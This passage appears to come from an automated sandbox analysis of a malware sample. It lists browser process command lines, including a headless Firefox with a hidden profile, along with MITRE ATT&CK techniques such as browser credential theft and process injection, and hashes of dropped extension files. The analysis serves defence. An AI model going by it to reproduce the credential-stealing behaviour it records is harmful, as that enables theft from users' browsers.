    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5400,i,17699029740000975785,3827182286287750262,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:1
    3⤵
    PID:2100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5412,i,6026128796681024253,16350719391652878454,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:1
    3⤵
    PID:6124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5664,i,2352627120684478558,17499999372134364537,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
    3⤵
    PID:2228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5612,i,511525896864676173,9597640113909053999,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:1
    3⤵
    PID:3884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5804,i,6413773621455682483,2961422789963229292,524288 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4820 /prefetch:14
    3⤵
    PID:4292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5968,i,6931234101452047026,13654385385574922923,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
    3⤵
    PID:4112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6280,i,5282466561733523207,1859131137135605922,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:1
    3⤵
    PID:6128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6256,i,2129424630687577227,16242095663181232250,524288 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:14
    3⤵
    PID:4188
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5964,i,15679344272001602200,6985848745976903827,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:1
    3⤵
    PID:5676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5504,i,11027500599000615803,9573893753176868373,524288 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:14
    3⤵
    PID:3940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5612,i,5748337166280769455,3668853461721938567,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4784 /prefetch:1
    3⤵
    PID:5936
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5448,i,17955233011303052639,7784596278072740140,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4636 /prefetch:1
    3⤵
    PID:5180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4588,i,9258732179372782062,17803411139348030467,2097152 --field-trial-handle=2028,i,3285564955190122531,15544601990026344225,262144 --variations-seed-version --mojo-platform-channel-handle=4592 /prefetch:9
    3⤵
    PID:1040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffd39f3c188,0x7ffd39f3c194,0x7ffd39f3c1a0
    3⤵
    PID:4920
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,2157386619459748457,13184637985792905484,524288 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1668,i,8380927795910835659,2671005927269922907,262144 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2
    3⤵
    PID:2528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2476,i,6728549923214272411,11182071251535449713,524288 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:13
    3⤵
    PID:832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3504,i,10983311017266680626,6647033086384614197,2097152 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
    3⤵
    PID:2612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3508,i,1272519305480982036,7102771483221480622,2097152 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
    3⤵
    PID:6008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4156,i,711227902095851340,8166153472251797033,2097152 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:1
    3⤵
    PID:3388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4204,i,13324756114552626002,10591743268754898584,2097152 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:9
    3⤵
    PID:5424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3728,i,2943284415383120416,13383615405655904229,524288 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:14
    3⤵
    PID:5596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5376,i,3657884624950180058,6122917429650408160,524288 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:14
    3⤵
    PID:2704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,16415293775700255816,13593074603091808214,524288 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:14
    3⤵
    PID:1892
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3636,i,2623983535833512498,13513650291201583479,524288 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:14
    3⤵
    PID:5968
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3636,i,2623983535833512498,13513650291201583479,524288 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:14
    3⤵
    PID:2708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6472,i,8551345340227301373,5452475068023238271,524288 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
    3⤵
    PID:6020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6452,i,10705505370473095918,12814208642501665468,524288 --field-trial-handle=2240,i,4899715616503110747,1116303225758177809,262144 --variations-seed-version --mojo-platform-channel-handle=6596 /prefetch:14
    3⤵
    PID:1152
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:5692
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:3484
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2696 -prefsLen 24445 -prefMapHandle 2700 -prefMapSize 268500 -ipcHandle 2776 -initialChannelId {9da7ebd4-2cd9-4fca-a81b-0c1e8edb1885} -parentPid 3484 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3484" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:3252
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1960 -prefsLen 24657 -prefMapHandle 1964 -prefMapSize 268500 -jsInitHandle 1972 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1984 -initialChannelId {f0d4148e-9da4-4582-bf15-739cd43ea287} -parentPid 3484 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3484" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:2864
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3720 -prefsLen 25541 -prefMapHandle 3724 -prefMapSize 268500 -ipcHandle 3788 -initialChannelId {a1199344-b192-4fb3-b85a-56f4da726830} -parentPid 3484 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3484" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:6124
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1972 -prefsLen 25604 -prefMapHandle 3968 -prefMapSize 268500 -jsInitHandle 4000 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4008 -initialChannelId {3deefc66-9ea7-490a-be1f-9b5c144bf557} -parentPid 3484 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3484" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:3504
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4216 -prefsLen 36521 -prefMapHandle 1724 -prefMapSize 268500 -ipcHandle 4696 -initialChannelId {7ce1a492-68d5-4fa6-81e8-7880b9043d70} -parentPid 3484 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3484" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:4296
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5088 -prefsLen 34446 -prefMapHandle 5092 -prefMapSize 268500 -jsInitHandle 5096 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5104 -initialChannelId {e417ca23-6360-48fe-92c2-316e0f093528} -parentPid 3484 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3484" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:4080
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5136 -prefsLen 34446 -prefMapHandle 5140 -prefMapSize 268500 -jsInitHandle 5144 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5152 -initialChannelId {44853f3f-652d-4d64-9b57-34386ddfaca1} -parentPid 3484 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3484" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:2736
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3860 -prefsLen 34446 -prefMapHandle 3612 -prefMapSize 268500 -jsInitHandle 1988 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1252 -initialChannelId {d61c30c3-fc9b-4bf7-81b6-0a0513c84d1a} -parentPid 3484 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3484" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:5312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4248

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnGraphiteCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

